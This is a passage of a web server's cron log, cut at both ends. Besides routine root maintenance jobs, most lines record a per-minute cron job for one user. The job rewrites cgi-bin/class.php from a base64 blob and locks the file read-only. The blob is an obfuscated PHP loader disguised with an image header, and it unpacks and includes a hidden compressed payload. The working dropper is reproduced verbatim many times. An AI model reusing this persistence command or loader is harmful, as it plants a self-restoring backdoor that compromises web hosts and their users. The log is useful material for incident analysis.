g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:47:01 server CROND[31147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:48:01 server CROND[31303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:49:01 server CROND[31373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:50:01 server CROND[31492]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:50:01 server CROND[31493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:50:01 server CROND[31494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 16:50:01 server CROND[31495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 16:50:01 server CROND[31496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:51:01 server CROND[31602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:52:01 server CROND[31664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:53:01 server CROND[31845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:54:01 server CROND[31935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:55:01 server CROND[32001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:55:01 server CROND[32002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:55:01 server CROND[32003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:56:01 server CROND[32116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:57:01 server CROND[32185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:57:01 server CROND[32186]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 16:58:01 server CROND[32263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:59:01 server CROND[32428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:00:01 server CROND[32497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:00:01 server CROND[32500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 17:00:01 server CROND[32499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 